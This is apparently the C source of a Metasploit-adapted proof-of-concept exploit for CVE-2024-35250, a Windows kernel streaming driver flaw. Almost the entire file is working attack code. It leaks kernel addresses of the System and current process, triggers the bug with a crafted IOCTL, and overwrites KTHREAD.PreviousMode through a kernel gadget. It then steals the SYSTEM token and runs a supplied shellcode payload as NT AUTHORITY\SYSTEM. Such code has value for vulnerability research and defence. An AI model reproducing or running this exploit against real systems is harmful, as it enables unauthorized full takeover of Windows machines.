/*
				PoC Info
--------------------------------------------------------------
Vulnerability:	        CVE-2024-35250
Tested environment:	    Windows 11 22h2 Build 22621
						Windows 10 20h2 Build 19042
						Windows 10 1607 Build 14393
						Windows Server 2022 Build 20348
						Windows Server 2019 Build 17763
						Windows Server 2016 Build 14393
						VMWare Fusion Professional Version 13.6.0
Author:                 varwara (edited by jheysel for metasploit compatibility)
Weakness:		        CWE-822: Untrusted Pointer Dereference
Known limitations:	    Didn't work in Hyper-V environments
Required privileges:    Medium IL
--------------------------------------------------------------
*/
#define __STREAMS__
#define _INC_MMREG
#define _PREVIOUS_MODE		0xbaba

#include <Windows.h>
#include <winternl.h>
#include <strmif.h>
#include <ks.h>
#include <ksproxy.h>
#include <ksmedia.h>
#include <stdio.h>
#include <SetupAPI.h>
#include <functiondiscovery.h>
#include <mmdeviceapi.h>
#include <stdint.h>
#include <safeint.h>
#include <ntstatus.h>
#include <TlHelp32.h>
#include <winsvc.h>
#include "exploit.h"
#include "common.h"
#include <processthreadsapi.h>

#pragma comment(lib, "Ksproxy.lib")
#pragma comment(lib, "ksuser.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "ntdllp.lib")
#pragma comment(lib, "SetupAPI.lib")
#pragma comment(lib, "Advapi32.lib")

const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL;
fNtQuerySystemInformation NtQuerySystemInfo = NULL;
fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL;

//
// Get the kernel object pointer for the specific process by it's handle
// 
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
	int32_t Ret = -1;
	PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
	ULONG ulBytes = 0;
	NTSTATUS Status = STATUS_SUCCESS;



	//
	// Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
	//
	while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
	{
		if (pHandleInfo != NULL)
		{
			pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
		}

		else
		{
			pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
		}
	}

	if (Status != NULL)
	{
		Ret = Status;
		goto done;
	}

	for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
	{
		if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
		{
			*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
			Ret = 0;
			break;
		}
	}


done:
	if (pHandleInfo != NULL)
	{
		HeapFree(GetProcessHeap(), 0, pHandleInfo);
	}
	return Ret;
}

//
// ALlocate fake bitmap for arbitrary r/w operations
//
void* AllocateBitmap(SIZE_T size, LPVOID baseAddress) {

	LPVOID allocatedMemory = VirtualAlloc(baseAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (allocatedMemory == NULL)
	{
		return NULL;
	}

	return allocatedMemory;
}

UINT_PTR GetKernelModuleAddress(const char* TargetModule)
{
	NTSTATUS status;
	ULONG ulBytes = 0;
	PSYSTEM_MODULE_INFORMATION handleTableInfo = NULL;

	while ((status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
	{
		if (handleTableInfo != NULL)
		{
			handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
		}

		else
		{
			handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
		}
	}

	if (status == 0)
	{
		for (ULONG i = 0; i < handleTableInfo->ModulesCount; i++)
		{
			char* moduleName = strstr(handleTableInfo->Modules[i].Name, TargetModule);
			if (moduleName != NULL)
			{
				return (UINT_PTR)handleTableInfo->Modules[i].ImageBaseAddress;
			}
		}
	}
	else
	{
		if (handleTableInfo != NULL)
		{
			HeapFree(GetProcessHeap(), 0, handleTableInfo);
			return 0;
		}
	}

	HeapFree(GetProcessHeap(), 0, handleTableInfo);

	return 0;
}

DWORD64 leak_gadget_address(LPCSTR GadgetName)
{
	DWORD64 module_base_kernel, rtlSetAllBits_address;
	HMODULE module_base_user;

	module_base_user = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
	if (!module_base_user)
		goto error;

	rtlSetAllBits_address = (DWORD64)GetProcAddress(module_base_user, GadgetName);
	if (!rtlSetAllBits_address) {
		goto error;
	}
	module_base_kernel = GetKernelModuleAddress("ntoskrnl.exe");
	rtlSetAllBits_address = module_base_kernel + (rtlSetAllBits_address - (DWORD64)module_base_user);

	return rtlSetAllBits_address;
error:
	return FALSE;
}

//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(void* Dst, void* Src, size_t Size)
{
	NTSTATUS Status = 0;
	PULONG cbNumOfBytesWrite = 0;

	Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, cbNumOfBytesWrite);
	if (!NT_SUCCESS(Status))
	{
		return -1;
	}
	return Status;
}

void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
	if (!pMsfPayload)
		return;
	PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!pPayload)
		return;
	CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL);
}

static BOOL ResolveRequirements(DWORD dwMajor, DWORD dwMinor, DWORD dwBuild) {

	dwBuild = LOWORD(dwBuild);
	if ((dwMajor == 10) && (dwMinor == 0)) {
		if ((dwBuild >= 14393) && (dwBuild <= 19045)) {
			if ((dwBuild < 15063)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v1607;
			}
			else if ((dwBuild < 16299)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v1703;
			}
			else if ((dwBuild < 17134)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v1709;
			}
			else if ((dwBuild < 17763)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v1803;
			}
			else if ((dwBuild < 18362)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v1809;
			}
			else if ((dwBuild < 19041)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v1903;
			}
			else if ((dwBuild < 19043)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v2004;
			}
			else if ((dwBuild == 19044)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v21H2;
			}
			else if ((dwBuild == 19045)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v21H2;
			}
		}
		else if (dwBuild == 22000) {
			g_pEprocessOffsets = &EprocessOffsetsWin11v21H2;
		}
		else if (dwBuild == 20348) {
			g_pEprocessOffsets = &EprocessOffsetsWinServer2022;
		}
		else if (dwBuild == 22621) {
			g_pEprocessOffsets = &EprocessOffsetsWin11v22H2;
		}
	}
	else {
		return FALSE;
	}
	return TRUE;
}


extern "C" int Exploit(PMSF_PAYLOAD pMsfPayload)
{
	HRESULT hr;
	HANDLE hDrmDevice = NULL;
	UCHAR InBuffer[sizeof(KSPROPERTY) + sizeof(EXPLOIT_DATA2)] = { 0 };
	KSPROPERTY* pInBufProperty = (KSPROPERTY*)InBuffer;
	EXPLOIT_DATA2* pInBufPropertyData = (EXPLOIT_DATA2*)(pInBufProperty + 1);

	UCHAR UnserializePropertySetRequest[sizeof(KSPROPERTY_SERIALHDR) + sizeof(KSPROPERTY_SERIAL) + sizeof(EXPLOIT_DATA1)] = { 0 };

	KSPROPERTY_SERIALHDR* pSerialHdr = (KSPROPERTY_SERIALHDR*)UnserializePropertySetRequest;
	PKSPROPERTY_SERIAL pSerial = (KSPROPERTY_SERIAL*)(pSerialHdr + 1);
	EXPLOIT_DATA1* pOutBufPropertyData = (EXPLOIT_DATA1*)(pSerial + 1);

	BOOL res = FALSE;
	NTSTATUS status = 0;

	uint32_t Ret = 0;

	const GUID categories[] = {
		KSCATEGORY_DRM_DESCRAMBLE,
	};

	//
	// Get a KS object device with ksproxy.ax API
	//
	for (int i = 0; i < sizeof(categories) / sizeof(categories[0]); i++)
	{
		hr = KsOpenDefaultDevice(categories[i], GENERIC_READ | GENERIC_WRITE, &hDrmDevice);

		if (hr != NOERROR) {
			return -1;
		}

	}

	uint64_t Sysproc = 0;
	uint64_t Curproc = 0;
	uint64_t Curthread = 0;

	HANDLE hCurproc = 0;
	HANDLE hThread = 0;

	//
	// Leak System _EPROCESS kernel address
	//
	Ret = GetObjPtr(&Sysproc, 4, (HANDLE)4);
	if (Ret != NULL)
	{
		return Ret;
	}

	//
	// Leak Current _KTHREAD kernel address
	//
	hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
	if (hThread != NULL)
	{
		Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
		if (Ret != NULL)
		{
			return Ret;
		}
	}

	//
	// Leak Current _EPROCESS kernel address
	//
	hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
	if (hCurproc != NULL)
	{
		Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
		if (Ret != NULL)
		{
			return Ret;
		}
	}

	//
	// Get necessary offsets based on Windows Version
	//
	HMODULE hNtdll = GetModuleHandle("ntdll");
	NtQuerySystemInfo = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
	if (NtQuerySystemInfo == NULL) {
		return FALSE;
	}

	if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) {
		return FALSE;
	}

	/* get the version to determine the necessary eprocess offsets */
	DWORD dwMajor, dwMinor, dwBuild;
	RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild);
	if (!ResolveRequirements(dwMajor, dwMinor, dwBuild)) {
		return 0;
	}

	//
	// Initialize input buffer
	//
	pInBufProperty->Set = KSPROPSETID_DrmAudioStream;
	pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET;
	pInBufProperty->Id = 0x0;

	//
	// Initialize output buffer
	//
	pSerialHdr->PropertySet = KSPROPSETID_DrmAudioStream;
	pSerialHdr->Count = 0x1;

	pSerial->PropertyLength = sizeof(EXPLOIT_DATA1);
	pSerial->Id = 0x0;                // Should be null
	pSerial->PropTypeSet.Set = KSPROPSETID_DrmAudioStream;
	pSerial->PropTypeSet.Flags = 0x0; // Should be null
	pSerial->PropTypeSet.Id = 0x45;   // Irrelevant value

	//
	// Intialize fake property data
	//
	uint64_t ntoskrnl_user_base = 0;
	HMODULE outModule = 0;
	UINT_PTR ntoskrnlKernelBase = GetKernelModuleAddress("ntoskrnl.exe");
	pOutBufPropertyData->FakeBitmap = (PRTL_BITMAP)AllocateBitmap(sizeof(RTL_BITMAP), ULongLongToPtr64(0x10000000));

	//
	// FakeBitmap initialization for the overwriting KTHREAD.PreviousMode field technique
	//
	pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20;
	pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET); //  KTHREAD.PreviousMode field address 
	pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlClearAllBits"));  // This gadget will zeroing KTHREAD.PreviousMode field

	//
	// Send property request to trigger the vulnerability
	//
	res = DeviceIoControl(hDrmDevice, IOCTL_KS_PROPERTY, pInBufProperty, sizeof(InBuffer), pSerialHdr, sizeof(UnserializePropertySetRequest), NULL, NULL);

	uint8_t mode = UserMode; // We set UserMode in restoring thread state phase to avoid BSOD in further process creations
	Write64(ULongLongToPtr64(Curproc + g_pEprocessOffsets->Token), ULongLongToPtr64(Sysproc + g_pEprocessOffsets->Token), /* Token size */ 0x8);

	//
	// Restoring KTHREAD.PreviousMode phase
	//
	Write64(ULongLongToPtr64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET), &mode, sizeof(mode));

	//
	// Execute the payload as NT AUTHORITY\SYSTEM
	//
	ExecutePayload(pMsfPayload);

	return 0;
}
